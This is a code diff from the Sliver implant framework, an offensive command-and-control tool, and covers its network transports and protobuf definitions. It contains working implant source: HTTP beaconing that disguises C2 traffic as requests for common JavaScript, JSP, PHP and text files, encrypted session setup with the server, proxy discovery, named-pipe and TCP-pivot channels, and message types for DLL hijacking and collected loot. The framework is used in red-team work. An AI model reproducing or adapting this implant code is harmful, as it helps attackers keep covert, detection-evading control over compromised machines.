|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -214,19 +180,22 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
|
||||
// We do our own POST here because the server doesn't have the
|
||||
// session key yet.
|
||||
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] sessionInit = %v", sessionInit)
|
||||
// {{end}}
|
||||
payload := encoder.Encode(sessionInit)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
|
||||
// {{end}}
|
||||
reqBody := bytes.NewReader(payload) // Already RSA encrypted
|
||||
|
||||
uri := s.startSessionURL()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := GetOTPCode()
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
uri := s.jspURL()
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -251,19 +220,14 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
)
|
||||
|
||||
// Poll - Perform an HTTP GET request
|
||||
func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.pollURL()
|
||||
uri := s.jsURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
@@ -274,35 +238,28 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
if resp.StatusCode != 200 && resp.StatusCode != 201 {
|
||||
return nil, errors.New("Non-200 response code")
|
||||
}
|
||||
if resp.StatusCode == 403 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Server responded with invalid session for %v", s.SessionID)
|
||||
// {{end}}
|
||||
return nil, errors.New("invalid session")
|
||||
}
|
||||
if resp.StatusCode == http.StatusNoContent {
|
||||
return nil, nil
|
||||
}
|
||||
if resp.StatusCode == http.StatusOK {
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
var data []byte
|
||||
respData, _ := ioutil.ReadAll(resp.Body)
|
||||
defer resp.Body.Close()
|
||||
if 0 < len(respData) {
|
||||
data, err = encoder.Decode(respData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Decoding failed %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] Unexpected status code %v", resp)
|
||||
// {{end}}
|
||||
return nil, ErrStatusCodeUnexpected
|
||||
return GCMDecrypt(*s.SessionKey, data)
|
||||
}
|
||||
|
||||
// Send - Perform an HTTP POST request
|
||||
@@ -310,18 +267,15 @@ func (s *SliverHTTPClient) Send(data []byte) error {
|
||||
if s.SessionID == "" || s.SessionKey == nil {
|
||||
return errors.New("no session")
|
||||
}
|
||||
reqData, _ := GCMEncrypt(*s.SessionKey, data)
|
||||
reqData, err := GCMEncrypt(*s.SessionKey, data)
|
||||
|
||||
uri := s.sessionURL()
|
||||
nonce, encoder := encoders.RandomEncoder()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
reader := bytes.NewReader(encoder.Encode(reqData))
|
||||
|
||||
uri := s.phpURL()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST -> %s", uri)
|
||||
// {{end}}
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -345,105 +299,54 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) keyExchangeURL() *url.URL {
|
||||
func (s *SliverHTTPClient) jsURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.KeyExchangeFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.KeyExchangeFileExt}}"))
|
||||
return curl
|
||||
segments := []string{"js", "static", "assets", "dist", "javascript"}
|
||||
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) pollURL() *url.URL {
|
||||
func (s *SliverHTTPClient) jspURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.PollFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.PollFileExt}}"))
|
||||
return curl
|
||||
segments := []string{"app", "admin", "upload", "actions", "api"}
|
||||
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.sessionURL()
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExt }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExt }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) sessionURL() *url.URL {
|
||||
func (s *SliverHTTPClient) phpURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionPaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.SessionFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
|
||||
return curl
|
||||
segments := []string{"api", "rest", "drupal", "wordpress"}
|
||||
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) closeURL() *url.URL {
|
||||
func (s *SliverHTTPClient) txtURL() string {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.ClosePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.CloseFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
|
||||
return curl
|
||||
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
|
||||
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
|
||||
return curl.String()
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
|
||||
n := insecureRand.Intn(2) // How many segments?
|
||||
genSegments := []string{}
|
||||
if 0 < len(segments) {
|
||||
n := insecureRand.Intn(len(segments)) // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
}
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
genSegments = append(genSegments, filename)
|
||||
return genSegments
|
||||
}
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
func httpClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
httpTransport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: defaultNetTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
@@ -453,15 +356,31 @@ func httpClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: transport,
|
||||
Transport: httpTransport,
|
||||
},
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
if useProxy {
|
||||
p := proxy.NewProvider("").GetHTTPProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "http"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
httpTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
func httpsClient(address string, useProxy bool) *SliverHTTPClient {
|
||||
netTransport := &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: defaultNetTimeout,
|
||||
}).Dial,
|
||||
@@ -473,20 +392,10 @@ func httpsClient(address string, proxyConfig string) *SliverHTTPClient {
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: defaultReqTimeout,
|
||||
Transport: transport,
|
||||
Transport: netTransport,
|
||||
},
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
if useProxy {
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -499,26 +408,11 @@ func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxy
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
netTransport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
return client
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
|
||||
@@ -33,6 +33,7 @@ import (
|
||||
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -62,9 +63,9 @@ func socketWritePing(connection *tls.Conn) error {
|
||||
// {{end}}
|
||||
|
||||
// We don't need a real nonce here, we just need to write to the socket
|
||||
pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
|
||||
envelope := pb.Envelope{
|
||||
Type: pb.MsgPing,
|
||||
pingBuf, _ := proto.Marshal(&sliverpb.Ping{Nonce: 31337})
|
||||
envelope := sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: pingBuf,
|
||||
}
|
||||
return socketWriteEnvelope(connection, &envelope)
|
||||
@@ -151,6 +152,7 @@ func getTLSConfig() *tls.Config {
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: rootOnlyVerifyCertificate,
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ const (
|
||||
writeBufSizeTCP = 1024
|
||||
)
|
||||
|
||||
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
func tcpPivoteWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -87,7 +87,7 @@ func tcpPivotReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
|
||||
log.Printf("[tcppivot] Unmarshaling envelope error: %v", err)
|
||||
// {{end}}
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
|
||||
@@ -19,10 +19,10 @@ package transports
|
||||
*/
|
||||
|
||||
import (
|
||||
insecureRand "math/rand"
|
||||
|
||||
// {{if or .Config.HTTPc2Enabled .Config.TCPPivotc2Enabled .Config.WGc2Enabled}}
|
||||
"net"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -33,7 +33,6 @@ import (
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
"errors"
|
||||
// {{end}}
|
||||
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -41,6 +40,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
@@ -107,10 +107,6 @@ type Tunnel struct {
|
||||
WriteSequence uint64
|
||||
}
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// Tunnel - Add tunnel to mapping
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
@@ -134,8 +130,8 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
}
|
||||
|
||||
func (c *Connection) RequestResend(data []byte) {
|
||||
c.Send <- &pb.Envelope{
|
||||
Type: pb.MsgTunnelData,
|
||||
c.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgTunnelData,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -293,45 +289,14 @@ func GetActiveConnection() *Connection {
|
||||
}
|
||||
|
||||
func nextCCServer() *url.URL {
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case "r": // Random
|
||||
next = ccServers[insecureRand.Intn(len(ccServers))]
|
||||
case "rd": // Random Domain
|
||||
next = randomCCDomain(ccServers[*ccCounter%len(ccServers)])
|
||||
case "s": // Sequential
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
default:
|
||||
next = ccServers[*ccCounter%len(ccServers)]
|
||||
}
|
||||
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
|
||||
*ccCounter++
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return nextCCServer()
|
||||
}
|
||||
return uri
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if uri.Scheme == protocol {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
}
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
func GetReconnectInterval() time.Duration {
|
||||
if reconnectInterval == -1 {
|
||||
@@ -435,12 +400,12 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
return
|
||||
break
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWritePing(conn)
|
||||
if err != nil {
|
||||
return
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -525,12 +490,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
err := socketWGWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
return
|
||||
break
|
||||
}
|
||||
case <-time.After(mtlsPingInterval):
|
||||
socketWGWritePing(conn)
|
||||
if err != nil {
|
||||
return
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -559,13 +524,12 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -WGc2Enabled
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
func httpConnect(c2URI *url.URL) (*Connection, error) {
|
||||
func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connecting -> http(s)://%s", c2URI.Host)
|
||||
log.Printf("Connecting -> http(s)://%s", uri.Host)
|
||||
// {{end}}
|
||||
proxyConfig := c2URI.Query().Get("proxy")
|
||||
client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
|
||||
client, err := HTTPStartSession(uri.Host, uri.Path)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("http(s) connection error %v", err)
|
||||
@@ -608,52 +572,37 @@ func httpConnect(c2URI *url.URL) (*Connection, error) {
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
errCount := 0 // Number of sequential errors
|
||||
for {
|
||||
select {
|
||||
case <-ctrl:
|
||||
return
|
||||
default:
|
||||
resp, err := client.Poll()
|
||||
switch errType := err.(type) {
|
||||
switch err := err.(type) {
|
||||
case nil:
|
||||
errCount = 0
|
||||
if len(resp) == 0 {
|
||||
continue
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(resp, envelope)
|
||||
proto.Unmarshal(resp, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode pb: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
recv <- envelope
|
||||
case *url.Error:
|
||||
errCount++
|
||||
if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
|
||||
case net.Error:
|
||||
if err.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
log.Printf("non-fatal error, continue")
|
||||
// {{end}}
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
return
|
||||
case net.Error:
|
||||
errCount++
|
||||
if errType.Timeout() {
|
||||
case *url.Error:
|
||||
if err, ok := err.Err.(net.Error); ok && err.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
log.Printf("non-fatal error, continue")
|
||||
// {{end}}
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
return
|
||||
default:
|
||||
errCount++
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] error: %#v", err)
|
||||
// {{end}}
|
||||
@@ -722,6 +671,64 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
// {{end}} - .DNSc2Enabled
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
|
||||
@@ -756,7 +763,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
tcpPivotWriteEnvelope(&conn, envelope)
|
||||
tcpPivoteWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -782,7 +789,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -TCPPivotc2Enabled
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
|
||||
|
||||
@@ -1,23 +1,5 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package version
|
||||
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,25 +1,5 @@
|
||||
//go:build amd64 || 386
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
@@ -1,23 +1,5 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
//{{if .Config.Debug}}
|
||||
|
||||
+638
-1002
File diff suppressed because it is too large.
Load diff
@@ -43,7 +43,6 @@ message Session {
|
||||
string ProxyURL = 20;
|
||||
uint32 PollInterval = 21;
|
||||
bool Burned = 22;
|
||||
repeated string Extensions = 23;
|
||||
}
|
||||
|
||||
message ImplantC2 {
|
||||
@@ -60,8 +59,6 @@ enum OutputFormat {
|
||||
}
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 100;
|
||||
|
||||
string GOOS = 1;
|
||||
string GOARCH = 2;
|
||||
string Name = 3;
|
||||
@@ -85,7 +82,6 @@ message ImplantConfig {
|
||||
// c2
|
||||
repeated ImplantC2 C2 = 10;
|
||||
repeated string CanaryDomains = 11;
|
||||
string ConnectionStrategy = 39;
|
||||
|
||||
bool LimitDomainJoined = 20;
|
||||
string LimitDatetime = 21;
|
||||
@@ -278,7 +274,6 @@ message UpdateSession {
|
||||
string Name = 2;
|
||||
int32 ReconnectInterval = 3;
|
||||
int32 PollInterval = 4;
|
||||
repeated string Extensions = 5;
|
||||
}
|
||||
|
||||
message GenerateReq {
|
||||
@@ -372,6 +367,20 @@ message MigrateReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijackReq {
|
||||
string ReferenceDLLPath = 1;
|
||||
string TargetLocation = 2;
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message DllHijack {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// [ Tunnels ] ----------------------------------------
|
||||
message CreateTunnelReq {
|
||||
|
||||
@@ -501,42 +510,3 @@ message Loot {
|
||||
message AllLoot {
|
||||
repeated Loot Loot = 1;
|
||||
}
|
||||
|
||||
